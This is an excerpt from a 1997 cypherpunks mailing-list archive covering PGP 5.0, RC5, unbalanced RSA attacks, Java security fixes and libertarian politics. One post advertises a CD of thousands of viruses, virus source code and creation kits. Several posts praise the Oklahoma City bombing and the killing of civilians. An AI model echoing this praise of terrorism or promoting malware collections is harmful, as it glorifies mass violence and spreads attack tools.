iQEVAgUBM4FrhDltEBIEF0MBAQHFBgf+N22d3ObZH16A4i/GrO9oAyXgdeHzpHRP
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FTEOZd6wmAFLzBpqnCxmcla9e7GFAcladnscf8BJhBBq3hBlGY6fkkA43wQOl68T
o78wi6XL96JR6rvVSAU3iLXceEQnj3q5o/RfK4cU+s2MMpsuc78iAEujQ2y7FUsU
SESRB0UU/h3UggqquPjoEbRNW349OQGEP8Oe+cOIVar3ZCczZqyps1TNllALsYti
C6Eo1tcK3fqsRc38GOdSvzp3xj7BkyvX0+lnGFVWrGgYEGyl+G6OzA==
=N/hb
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From kibo at thecia.net  Tue May 20 03:16:57 1997
From: kibo at thecia.net (kibo)
Date: Tue, 20 May 1997 18:16:57 +0800
Subject: CFV: moderate sci.cryonics -- I vote NO
In-Reply-To: <199705200159.UAA05630@manifold.algebra.com>
Message-ID: 


this deals with a sci newsgroup being moderated, which
is an exception to the "unmoderated" rule.

On Mon, 19 May 1997, Igor Chudov @ home wrote:

> Date: Mon, 19 May 1997 20:59:27 -0500
> From: "Igor Chudov @ home" 
> Reply-To: freedom-knights at jetcafe.org
> To: mail2news at manifold.algebra.com, hkt at wwa.com,
>     freedom-knights at jetcafe.org, mkagalen at lynx.dac.neu.edu,
>     cypherpunks at manifold.algebra.com
> Cc: ichudov at manifold.algebra.com
> Subject: Re: CFV: moderate sci.cryonics -- I vote NO
> Newsgroups: sci.cryonics,news.groups,alt.cypherpunks,alt.privacy,alt.privacy.anon-server,alt.anonymous.messages,alt.anonymous.remailers,alt.conspiracy
> 
> Lewis McCarthy (lmccarth at cs.umass.edu) wrote in <3377FA31.167E at cs.umass.edu>:
> * Charles Platt writes:
> * > I feel it's unfortunate that the 
> * > charter was worded to exclude anonymous postings, but clearly this 
> * > news group does need to be moderated, and I believe that Keith will 
> * > do so fairly and openly.
> * 
> * That's all well and good, but the CFV is a referendum (in part) on the 
> * particular charter that appears in the CFV, not on an alternate policy
> * that purportedly may be followed by the moderator. Unfairly applied
> 
> That is correct.
> 
> The promises by the proposed moderator are even more suspicious given
> that:
> 
> 	This future moderator PROMISES TO VIOLATE HIS OWN CHARTER.
> 

Given the subject, the attempt to limit the content is
going to be tough.  What do you do with the religious zealots
which say "God does not like frozen people" ?

> The charter is absolutely clear in respect to what is not allowed:
> 
> Charter> Unacceptable messages include personal attacks, messages 

You had better specifically define what a "personal attack" is.

You may never limit my ability to call you a "motherfucker" in any forum,
and if you call that a "personal attack" then you have a censorship
problem.

> Charter> posted without a valid sender address, and any message not 
> Charter> pertaining to the topics above.
> 

And what about crossposting?  Does the charter put any limit on that?
Any limitations on that are Unconstitutional.

> (see 
> 
> http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11
> 
> for the charter and ballot)
> 
> 
> * written rules have a real chance of being challenged, whereas with 
> * unwritten rules there's much less hope of receiving fair treatment. 
> * Overly broad restrictions, like the one in the CFV regarding messages 
> * from unreplyable senders, are a boon for selective enforcement. 
> 
> I repeat again, in my opinion, there is no valid reason for any
> moderated discussion newsgroup to ever forbid anonymous and pseudonymous
> postings. Such restrictions destroy the value that usenet newsgroups
> have.
> 

Exactly, and anonymity is a constitutional right.

> Correspondently, I will strongly oppose any proposal that restricts
> posters ability to post anonymously.
> 
> Presence of such provision in the charter is a strong indication
> that the proponent is a control freak.
> 
> * It's been a couple of years since I voted on a newsgroup proposal, but
> * I'll be voting NO on this sci.cryonics reorganization. Get back to me
> * if the charter is reworded s.t. the moderator is directed to judge a
> * message primarily based on its _content_  rather than its _sender_.
> 
> Could not agree more!
> 
> * CFV pointer: Message-ID <863077501.7020 at isc.org>, posted to the usual
> * places on May 8 by David Bostwick
> * -- 
> * Lewis    http://www.cs.umass.edu/~lmccarth/lmkey.asc   "And all the 
> * science, I don't understand; it's just my job, eight days a week..."
> 

Both this David Bostwick and this Charles Platt are suspicious characters.
They have past or present bofh.cabal connections, do they not?






From frissell at panix.com  Tue May 20 04:15:09 1997
From: frissell at panix.com (frissell at panix.com)
Date: Tue, 20 May 1997 19:15:09 +0800
Subject: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970519235515.032d1868@intergate.net>
Message-ID: <3.0.2.32.19970520070041.03bfaa60@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

>Well, now that I've seen some good and bad reviews regarding the beta
>version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
>with Eudora Pro.  From what I've read, it seems the new beta version has
>nothing new to add - except some quirky bugs and the source code that's
>supposed to be available at some time in the future.
>
>Has anyone compared the above?

I've been using 4.5 since it was in Beta and I paid the $29.95 to upgrade to 
it when they started charging (they have you cut and paste your public key 
into the form to prove you are upgrading from a free version of PGP).

I downloaded 5.0 a day or two ago and have been using it.  It is possible to 
use both on the same machine although you have to watch your key location.

I Use Windows 95.  

Installation of PGP for Personal Privacy 5.0 went OK.  Unless you have the 
latest Beta of Eudora (3.0.2 B4) it installs the files necessary to upgrade 
your version of Eudora.  Unfortunately, 3.0.2 B4 expires in June so you'll  
have to continue upgrading.   My only problem was that when I had the program 
move and rename my key rings, I forgot which key file I was pointing to and 
made my secret ring my public ring for a few minutes until I reinstalled.  The 


program puts its menu into the "tray".  Its menu is shorter than the PGP Mail 
4.5 menu because the key handling is done from the PGPkeys program.  It 
displays a graphic key list and you can point and click and drag and drop to 
perform most key management tasks.

The new features are 1) automatic lookup of keys from the keyserver of your 
choice (defaults to PGP Incs keyserver).  2) automatic signing (or even 
encryption) of outgoing mail.  You click  in Eudora and it prompts you 
for your passphrase.  3) Use of ElGamal (DSS/Diffie-Hellman) instead of RSA 
for your key if you like.  4) Use of PGP/Mime for outgoing messages if you 
like.  5) it will cache you private key in memory for a user configurable 
length of time (default is 120 seconds) so that you can easily encrypt 
multiple messages.

It has worked fine so far.  Digital signing and encryption seem faster than 
with 4.5.

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4GEWIVO4r4sgSPhAQF9lAQA1F/3d8PFRRN1LPpp+xcRPZ9izAZIN6Nc
3Mpj4dqLncqxRcqzahAGQXjrxGZZ7GtW4rquAAWR5QncxPMp2DDXeDSkiIbbnB3e
+qdbhs3SrENkLK9f195KpSBhMhXFeVJQ3A4oOM3VqHEXyi2DXKxaj805tRV11xW/
n+NOO6v8JNo=
=2Dxy
-----END PGP SIGNATURE-----






From a31952 at magnfs10.eskom.co.za  Tue May 20 06:44:34 1997
From: a31952 at magnfs10.eskom.co.za (de Wet Vorster)
Date: Tue, 20 May 1997 21:44:34 +0800
Subject: Mixmaster@remail.obscura.com
Message-ID: <5BFF21D4BBC@magnfs10.eskom.co.za>


Hi,
Is this remailer still operational ?

Will the following work ?

::
Request-Remailing-To:CRIMSTOP at MAGNFS10.eskom.co.za

Your help will be appreciated
de Wet Vorster
Eskom Corporate Investigations






From pgut001 at cs.auckland.ac.nz  Tue May 20 06:48:01 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 20 May 1997 21:48:01 +0800
Subject: Public Key Break Paper
Message-ID: <86413527217449@cs26.cs.auckland.ac.nz>


>John Young, , writes:
>>In early April we posted a message which referred to William H. Payne's paper
>>"Public Key Cryptography is Easy to Break."
>
>First, it is not a general attack on public key cryptography, but rather it is
>a specific method for attacking RSA.
>
>Second, I remember seeing this algorithm discussed on sci.crypt in the past,
>probably in 1996.
 
There was also a response/rebuttal to this paper in RSA's Ciphertext
newsletter, Vol.2, No.1 (Summer 1994), p.9, "Public Key Cryptography is Not
Easy to Break" which shows that it's not nearly as easy as the author of the
original paper thinks.
 
(I had another look at the unbalanced RSA proposal in the Autumn 1995
 CryptoBytes as I was trying to find the above article, did anyone ever do
 anything with unbalanced RSA or was it just left as a curiosity?).
 
Peter.
 






From pgut001 at cs.auckland.ac.nz  Tue May 20 06:59:29 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 20 May 1997 21:59:29 +0800
Subject: Question: RC5 assembly code?
Message-ID: <86413522220879@cs26.cs.auckland.ac.nz>


>I have the source code for RC5 encryption algorithm, but it is in C, well it
>is still cool since it is "portable" but I am actually looking for a PowerPC
>assembly code for the same, or at least for the Key Expansion, Encryption and
>Decryption routines.
>
>The "formula" for RC5 is pretty interesting and looks like is made to be
>implemented in Assembler.
 
Not if it's x86 assembler.  On the Pentium each rotate uses 4-5 non-pairable
cycles, so rotates are very slow (each rotate is the equivalent of (in the best
case) 8-10 normal instructions, so the two rotates in an RC5 round are the
equivalent of 16-20 other instructions).  According to Intel shifts and rotates
have been optimised on the PPro so they're slight faster than on the P5, but I
haven't looked at the details yet.  I haven't tried to formulate the RC5 core
in asm yet (because of the patent - what good is it writing code which noone
can use?) but on Intel hardware it's certainly going to be a lot slower than it
looks (the much more complex CAST core is faster than just the rotates from the
RC5 core).  This is kind of unfortunate, because it's a nice algorithm.
 
Peter.
 






From trei at process.com  Tue May 20 06:59:47 1997
From: trei at process.com (Peter Trei)
Date: Tue, 20 May 1997 21:59:47 +0800
Subject: A little list... [Re: Jim Bell goes to Jail!]
Message-ID: <199705201349.GAA12194@rigel.cyberpass.net>



DCF writes:
>At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:
>>Some of his statements could have been taken as advocating the killing of 
>>federal employees of various sorts.  The question is whether he actually
>>tried 
>>to arrange it in real life.  (Which I doubt.)
>In the U.S., it is legal to advocate killing anyone except Clinton and his 
>family and maybe the veep.
>DCF

While I think AP is appalling (I regard all premeditated killing as 
unacceptable, whether committed by the state or individuals), the 
following might be fun:

Set up a web page which collects names of 'people you'd like to see 
hit by a bus'. This is a poll, not AP - no money is involved, and
there is no suggestion that these desires be carried into action.
Allow people to anonymously add their vote to names already on the list, 
or nominate new ones themselves.

While there is the possibility of abuse (someone sets up a 'bot to 
nominate their ex-wife 10,000 times), clearly you would not want to
try to keep track of who voted for who.

I expect we'd see The Usual Suspects, and a lot of people who are 
known in only limited spheres (sports figures, widely disliked 
bosses and CEOs). There would also be many individuals with a 
single vote against them, and a lot of people notorious only on the
net.
 
One refinement might be to display names only for people with some
threshold of strikes against them - say 20 votes. Another would be
to allow people to register both 'yea' or 'nay' on names on the
list.

I don't have a facilities to set this up myself, so don't ask me.
If someone else does it, I hope they check to see of there are
any legal implications.

Peter Trei
trei at process.com 
---------------------------
[

KOKO (the newly appointed Grand High Executioner):
I am happy to think that there will be no difficulty in finding
plenty of people whose loss will be a distinct gain to society at
large.

             SONG--KO-KO with CHORUS OF MEN.

As some day it may happen that a victim must be found,
     I've got a little list--I've got a little list
Of society offenders who might well be underground,
     And who never would be missed--who never would be missed!
There's the pestilential nuisances who write for autographs--
All people who have flabby hands and irritating laughs--
All children who are up in dates, and floor you with 'em flat--
All persons who in shaking hands, shake hands with you like
     that--
And all third persons who on spoiling tete-a-tetes insist--
     They'd none of 'em be missed--they'd none of 'em be missed!
etc....

Gilbert & Sullivan, "The Mikado"

]






From sbn at MICROSOFT.COM  Tue May 20 22:18:07 1997
From: sbn at MICROSOFT.COM (Site Builder Network)
Date: Tue, 20 May 1997 22:18:07 -0700 (PDT)
Subject: Microsoft Responds To Java Security Issues By Posting Fix
Message-ID: <300484772A32CF11BEF200805F50855D036CADED@RED-78-MSG.dns.microsoft.com>


*** Microsoft (R) Site Builder Network ***

In this issue:

NEWS & ANNOUNCEMENTS

* MICROSOFT RESPONDS TO JAVA SECURITY ISSUES BY POSTING
FIX
* ANNOUNCING NEW SITE BUILDER NETWORK DISCUSSION GROUPS
* SITE BUILDER WORKSHOP ADDS DYNAMIC HTML AREA


MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

* EDGEWORX OFFER TO SITE BUILDER MEMBERS
* WEBMEN TALKING IS NOW BIWEEKLY
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* HIT LIST PROFESSIONAL 3.0 - TRIAL VERSION


PLEASE NOTE: Email format restrictions may not allow a
URL to fit on one line. Thus, when you click the URL
line in the email message, you may get a browser error
(e.g., non-existent link).   If the URL does not seem to
work, please make certain you select, copy, then paste
the entire link address into your browser's target
address field.  Thank you.


NEWS & ANNOUNCEMENTS
MICROSOFT RESPONDS TO JAVA SECURITY ISSUES BY POSTING FIX
Researchers at the University of Washington recently
notified Microsoft and other vendors of several dozen
anomalies in Java virtual machines that could
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Their tests uncovered a variety of Java anomalies,
including 17 which affect the Microsoft virtual machine
and 24 which affect Sun Microsystem's virtual machine.

The anomalies are in the bytecode "verifier", which
enforces the security of the Java sandbox. There have
been no known attacks that exploit these anomalies, but
they could potentially allow a malicious application to
get access outside the sandbox.  More information is
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Project website at
http://www.washington.edu/newsroom/news/k051997.html.

The updated version of the Microsoft virtual machine is
available to all users of Internet Explorer, Internet
Information Server and Visual J++ from
http://www.microsoft.com/java. All users and developers
are encouraged to download the new version of the
virtual machine.  The updated version will also be
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products containing the virtual machine.

ANNOUNCING NEW SITE BUILDER NETWORK DISCUSSION GROUPS
Because the Site Builder's Exchange discussion group
has been so busy lately, we've decided to divide it into
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MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT
EDGEWORX OFFER TO SITE BUILDER MEMBERS
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-This special promotional price is available only
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From joswald at rpkusa.com  Tue May 20 23:39:48 1997
From: joswald at rpkusa.com (Jack Oswald)
Date: Tue, 20 May 1997 23:39:48 -0700 (PDT)
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Message-ID: <01BC6572.43D8F3A0@1Cust125.Max9.San-Francisco2.CA.MS.UU.NET>


Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm 

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm 

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald at rpkusa.com, http://www.rpk.co.nz 
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca at iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce HAWK VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss application specific integrated circuit (ASIC) design firm have chosen the RPK Fast Public Key Cryptosystem to provide strong cryptographic security in a next generation wireless electronic transactions application.  At the same time, EPFL and ADESA unveiled HAWK a new generation cryptography-enhanced microprocessor specifically designed for use in high speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive evaluation of all existing cryptosystems based on well known and understood cryptographic techniques," said Maurice Jaccard, Managing Director of ADESA, Inc. "With RPK there are no compromises. We get uncompromised security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted cryptographic techniques," said Jack Oswald, President and CEO of RPK Inc. "Having RPK chosen by the Swiss for this breakthrough electronic-commerce application is the strongest endorsement we could possibly achieve for the RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype application that promises to become the "wallet of the future".  This new wireless electronic transaction application may take the form of a credit card, a watch or a key chain and will sport features analogous to the leather wallets used today by billions of people worldwide.  Early designs of the system allow the user to withdraw and hold cash in multiple currencies, as well as, purchase and hold vouchers for hotels, planes and car rentals all through the use of wireless communications technology.  Officials in charge of the project envision that such devices could also become a personal key chain for gaining access to motor vehicles, offices and dwellings, in addition to traditional credit card uses.

ADESA concluded that performance of the RPK implementation in the prototype far exceeded existing smart card implementations based on the RSA and other algorithms.  The RPK technology performs the necessary encryption functions in less than 10 milliseconds using an 823-bit key compared to the best performing RSA-based equivalents that require greater than 100 milliseconds to perform the same type of function using a much weaker 512-bit key.  The application is not limited to 823-bit keys.  The design of the system, based on the new HAWK processor is flexible and can accommodate and process various sized keys, smaller or larger than 823 bits based on downloadable parameters.  ADESA officials explained that the simplicity of the RPK algorithm makes it much simpler to implement than the popular RSA approach.  It was RPK's simplicity, offering a much faster and cheaper solution while providing even higher security, that drove the choice over RSA for this application.  


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on mathematics widely used in cryptography today.  It was designed to be immediately commercially viable without the years of study that a new area of mathematics normally requires, such as the Elliptic Curve Cryptosystem (ECC).  The source of the security for RPK is the same as that of Diffie-Hellman key exchange, a widely used and well studied cryptographic technique. RPK offers real advantages for high speed networking, SmartCard, wireless communication applications as well as high volume software processes such as credit card transactions. 

RPK has at its core an invention called a Mixture Generator.  In the preferred implementation, three fairly long linear feedback shift registers are used.  This state machine has two modes of operation.  One that uses the shift registers for exponentiation and the other as a generator of a random stream of bits used in a combining phase for the actual encryption.  Effectively, RPK allows for the amortization of two "costly" exponentiations over the entire length of a message because the core engine is used to initially establish a secure state of the machine and then switches modes to perform very high speed encryption.  This has been referred to as a paradigm shift where the operation of encryption does not require the costly calculations that an RSA or even an ECC implementation would require for each block of data that is about the size of the key.  This mechanism can also be implemented in silicon quite efficiently such that at high strength it is much cheaper to produce than alternative technologies.  Finally, it is also possible to create a Mixture Generator that is made up of Elliptic Curve groups which would provide a similarly speedy and efficient initialization mode that could still produce high speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than three years of research and development conducted at the EPFL in Lausanne, Switzerland in the area of high speed compression and encryption.  The HAWK processor will benefit most cryptography implementations but is particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen yet for implementing cryptographic processes in silicon," said Bill Raike, Chief Technology Officer for RPK Inc. and inventor of the RPK fast public key cryptosystem.  "HAWK breaks the barrier for high speed, low cost, low power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption technology.  RPK was invented and originally patented in New Zealand.  The company is therefore unaffected by restrictive U.S. export rules.  RPK has been successfully exported to virtually all countries of the world at high strength.  The company's headquarters are based in San Francisco, California, USA, with an offshore research and development center located outside of Auckland, New Zealand. http://www.rpk.co.nz 

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland with expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne, Switzerland.  The school is known for its work in advanced processor design.


***






From hal at rain.org  Tue May 20 08:57:17 1997
From: hal at rain.org (Hal Finney)
Date: Tue, 20 May 1997 23:57:17 +0800
Subject: Public Key Break Paper
Message-ID: <199705201532.IAA08042@crypt.hfinney.com>


Peter Gutmann, pgut001 at cs.auckland.ac.nz, writes:
> (I had another look at the unbalanced RSA proposal in the Autumn 1995
>  CryptoBytes as I was trying to find the above article, did anyone ever do
>  anything with unbalanced RSA or was it just left as a curiosity?).

The unbalanced RSA idea, by Shamir, was to choose primes p and q with p
considerably less than q, e.g. p = 500 bits, q = 4500 bits.  With numbers
of this size, the difficulty of factoring a 5000 bit n = pq is still just
as hard as if p and q were both about 2500 bits.  Then, you only encrypt
numbers < p, and it turns out that you can do the decryption mod p rather
than mod n, so decrypt is much, much faster than for a conventional 5000
bit modulus.

There have been some attacks on this.  The main limitation is that the
encrypted number is supposed to be < p.  There is a chosen-cyphertext
attack, taking an x a few bits larger than p, encrypting it, and asking
for the resulting decryption.  This produces x mod p, which combined
with x can be used to find p.

Another attack along these lines is to guess x about the size of p, send
a legitimate message based on it, then watch the receiver's behavior to
try to determine whether the message had decrypted correctly.  If x < p
it would decrypt OK, otherwise it would decrypt to garbage.  Repeat this
to narrow down an interval containing p.

I believe these were presented by Quisquater at the Crypto 96 rump session,
although I think he was referring in part to some attacks which had already
been discovered.

Hal






From wraith at ahrens.callnet.com  Wed May 21 00:13:46 1997
From: wraith at ahrens.callnet.com (wraith at ahrens.callnet.com)
Date: Wed, 21 May 1997 00:13:46 -0700 (PDT)
Subject: No Subject
Message-ID: <199705210713.DAA29919@ahrens.callnet.com>


From: wraith at ahrens.callnet.com
To: cypherpunks at toad.com
Subject: Virus CD-ROM Offer


Hey, I was checking out you web site, and I thought you might be someone
interested to know that the Digital Hackers' Alliance has once again made
its entire virus archive of over 10,000 viruses available to the public. 
We've once again been burning the midnight oil over the CD-R to produce a
limited number of new CD-ROMs. This CD-ROM is not only packed full with
over 20 meg of viruses, but also comes with source code for over 1500 of
the most famous viruses ever! Be one of our first 100 customers and
recieve FREE of charge over 50 virus creation tools, including Virus
Creation Lab (VCL) and PS-MPC! No where else in the world will you find a
more complete collection.  Anyway, if you want to find out more about the
CD-ROM, including an (almost) complete listing of every virus on the CD,
check out the Digital Hackers' Alliance web page at:

http://ahrens.callnet.com/dha/

--
Wraith -=- Digital Hackers' Alliance
http://ahrens.callnet.com/dha/
wraith at ahrens.callnet.com








From paul at fatmans.demon.co.uk  Tue May 20 09:21:04 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 21 May 1997 00:21:04 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970519010058.00685bdc@cnw.com>
Message-ID: 




> On the other hand, he obviously believes in the authority of the US
> government, as he has always supported it in arguments on the list,
> especially in counter arguments against TCM.
> 
> So, it appears that VZN is not *ready* to hold the government accountable,
> preferring not to protest when his own money is withheld for him, but
> hypocritically wondering when everyone will make this will happen.

I have (rarely) heard reasonable noises coming for VZN`s direction, so I 
read most of his posts, or at least allow them a cursory glace, however, 
it does not suprise me when he rants.

> However, he's correct:   similar to the argument I made about there being
> no difference between those who kill the good along with the bad & the ugly
> (that's from the title of a Clint Eastwood movie, for those who aren't
> familiar with that line),  all those who argue for morality and libertarian
> ideals, but still "give in" when it comes to tax time, are all losers.     

I made a point a while ago on this list, which I felt strongly was 
correct at the time and I still feel as strongly now but this argument 
draws parallels which made me think again:

I stated that anyone who, in a situation of military conscription, fought 
for a country or a cause they did not believe in, simply to avoid 
punishment for refusal to fight, was a coward.

I still believe this, but really taxation is simply paying the government 
to be your hitman for you, your tax money pays the governments barbaric 
killing and warmongering, you cannot wash your hands of this simply by 
arguing that you did not choose for the money to pay for a war, you have 
to draw the conclusion that by funding the government and the state you 
fund killing and violence elsewhere in the world.

However, I can also draw your attention to a post a while ago which made 
an analogy with an armed robbery. If someone pokes a gun in your face in 
the street do you give him your money? - Assume there is no possibility 
of escape or fighting back, and you are unarmed. 
You either hand over the money or you die... If you take the logical 
course of action and give him your money, have you made a moral decision 
that his decision to rob you was right? Of course not, you have simply 
covered your own ass in a situation where you have no option.

It is a similar case with taxation, until enough people stop whinging and 
actually do something the state will tax as it sees fit, I`m not going to 
be the first to refuse payment on ethical grounds in peacetime, maybe I`m 
lacking in moral fibre, maybe I`m just a realist and think I can do more 
for the case of freedom outside of a 6'x9' cell.  

I certainly believe that I would refuse payment in wartime, not because I 
believe war is the only state activity I feel wrong funding, but because 
I would stand a better chance of getting away with not paying tax under 
these circumstances, and this would provide a good precedent for 
withholding tax payment after a war, by drawing parallels between war and 
other activities of the state.

I wish all luck to those who do refuse to pay tax on moral and ethical 
grounds, they certainly have my admiration and I grant that they are 
probably of stronger stuff than I.

> But this shameless capitulation is intellectualized away with the
> explanation that everyone is outnumbered by the men holding the legalized
> guns, who are in turn supported by all those true believers in The American
> Socialist Way of Life;  that way being: the reception of benefits without
> any need to be consciously aware of, to identify, their actual source or
> the actual method of their obtainment.

I bear no particular grudge against certain groups of welfare recipients, 
those who have worked all their lives and paid taxes under the assumption 
that if they were eligible for welfare they would get it have commited no 
real crime in my view, save from the fact that they claim from the 
collective funds of the nation. Certainly they would have been totally 
blameless if they had invested in private assurance and insurance schemes 
whilst under employment.

It is all very well complaining about the moral weaknesses of those who 
leech off of the stolen proceeds of state enforced taxation, but to 
really change anything the most effective route is to cut off welfare at 
source, that does not mean the state itself, that means you, the 
taxpayer. Of course most of the population are now brainwashed and do not 
see the evil perpetrated by a state that in some cases in the UK 
confiscates up to 60% of earnings at source.

As I said though, I admit my own moral weakness here and agree I am 
hypocritical to some extent, so all criticism to this effect can go to 
/dev/null.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From attila at primenet.com  Tue May 20 09:23:33 1997
From: attila at primenet.com (Attila T. Hun)
Date: Wed, 21 May 1997 00:23:33 +0800
Subject: Full Strength Stronghold 2.0 Released Worldwide
In-Reply-To: 
Message-ID: <199705201608.KAA28454@infowest.com>


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970504:2140 dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Remember: if you comment on the fact that one can't examine this
+product's source code for security holes, you'll get threatening
+letters from C2Net's lawyers: Helena Kobrin, Cantor, & Siegel.

    attila sez:

    well, as far as I am concerned, bully for Sameer's lawyers. anyone 
    who does not provide source code for an [in]security product, 
    particularly one based on an open source product HAS SOMETHING TO 
    HIDE.

    anyone who refuses to show his code not only has something to hide,
    but has probably SOLD OUT to our invasive creeping slime 
    non-representative government.  

    Bill Clinton had the audacity to say at UConn something to the 
    effect:  "...censorship [loss of freedoms] is the first step on the 
    road to tyranny...."  $%&* HYPOCRITE!

    lawyers are lawyers, they make great emergency rations, and they
    taste like chicken, really.

 ______________________________________________________________________

  Lord grant me the serenity to accept the things I cannot change;
    The courage to change the things I can;
      The weapons that make the difference;
        And the wisdom to hide the bodies of the people 
          I had to kill because they were in the way.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From alano at teleport.com  Tue May 20 09:32:27 1997
From: alano at teleport.com (Alan)
Date: Wed, 21 May 1997 00:32:27 +0800
Subject: For whom the Bell tolls...
Message-ID: 


The article on Bell was printed in this morning's Oregonian.

Hoo Boy!

They are accusing him of all sorts of nasty shit!

"Planning to poison the Bull Run watershed with Botulism."

"Planning to use a carbon thread attack on the 911 system."

And more.

If John Young has not printed the article by the time I get home from
work, I will type the whole thing in.

They are REALLY playing rough this time!







From attila at primenet.com  Tue May 20 10:02:12 1997
From: attila at primenet.com (Attila T. Hun)
Date: Wed, 21 May 1997 01:02:12 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <199705201644.KAA00248@infowest.com>


-----BEGIN PGP SIGNED MESSAGE-----

    attila sez:

    as to trivializing tim may as to wine and for his comment below on 
    OKC, if the gubmit becomes a terrorist state (and who is to deny 
    that it is not, and has not been this century), then the terrorist 
    much expect retaliation.  

    The US in this century, at one point or another in time, has 
    destabilized 90%+ of the world governments, including the Labour
    Party in GB prior to Iron Maggie's rule (and if you want names of 
    the phony US Dept of State consular employees involved, a pointer 
    can be provided).

    turnabout will be increasingly fairplay.  certainly not by me --too 
    old and far too disinterested to waste energy on a foolish
    self-perpetuating fraud when the majority of ignorance prefers
    security over freedom.

    as for McVeigh: either there were a whole group of people involved 
    to be able to satchel the building columns, or the government was 
    the driving force.  and why was the *entire* ATF staff elsewhere?  

    OKC came at a perfect time to help Clintons' drive to push 
    anti-terrorist legislation to deny personal freedoms "...for the 
    common good."  draw your own conclusions; it's only history 
    repeating itself --noone listened the first couple hundred times.

    as for the great fairweather liberal bigot Blanc's passing it off 
    as tcm's drunken ramblings, I doubt it.  war is hell, and 
    "innocents" get wasted --but, a society at war has no innocents.  
    blow 'em all away.  scorched earth is inadequate; burnt earth is 
    more effective. if there are no prisoners, there are no 
    complainers.

    ___________________> 

on or about 970510:0906 dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Blanc  writes:

+[Quoting Timmy May]
+> >Every day that passes, I'm more convinced that McVeigh did the right thing.
+> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
+>
+>
+> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
+> spend so much time writing sensible things of Truth & Light, if he thought
+> the better thing to do for achieving libertarian values was to kill so
+> indiscriminately with a bomb.    After all, he subscribes to utmost
+> discrimination.   So I think right now he's less in the engagement of
+> Reason and more under the influence of maybe some Bud Light.

+Everybody in that building was somehow affiliated with the gubmint.

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From attila at primenet.com  Tue May 20 10:14:35 1997
From: attila at primenet.com (Attila T. Hun)
Date: Wed, 21 May 1997 01:14:35 +0800
Subject: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <199705201701.LAA01248@infowest.com>


-----BEGIN PGP SIGNED MESSAGE-----

    attila sez:

    Dresden was probably the first highly visible of America's
    willingness to literally destroy civilian populations with the
    express intent of demoralizing a nation.  however, history seems
    to indicate in was a Churchillian "revenge" for the Blitz carried
    out by both British and American bombers --however, the latter
    were capable of greated payloads at greater range.  apparently
    the American bombers carried primarily heavy ordinance, the 
    British lit it up --however, the functions were probably mixed.

    Hiroshima may have been later, but Dresden set the stage. Hiroshime 
    undoubtedly saved hundreds of thousands of both US troops and 
    Japanese civilians from further war --the Emporer stepped in and 
    made the broadcast without the approval of the general staff 
    --basically, "enough is enough."  Dresden served virtually no 
    purpose on the German front --the war was over. Churchill and 
    Roosevelt approved Dresden for revenge; Truman just ended a war.

    Obliterating Iraq and continuing to grind the heel is just another 
    round of power politics and US Middle East foreign policy.  To the
    rest of the world, the US is a militaristic bully bent on economic
    advantage -- the old British lion reincarnated.

    government is its own end:  power corrupts, and absolute power 
    corrupts absolutely.  hasn't changed yet in history.  even the 
    greats, Solomon, David, etc. fell prey to the siren song of power;
    why should far more inferior men like Bubba, who has absolutely 
    nothing to his credit except deceit, be exempt?

    ________________________> 
     

on or about 970510:1312 dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Tim May  writes:

+> Innocents died in Dresden. No doubt compelling stories and images could be
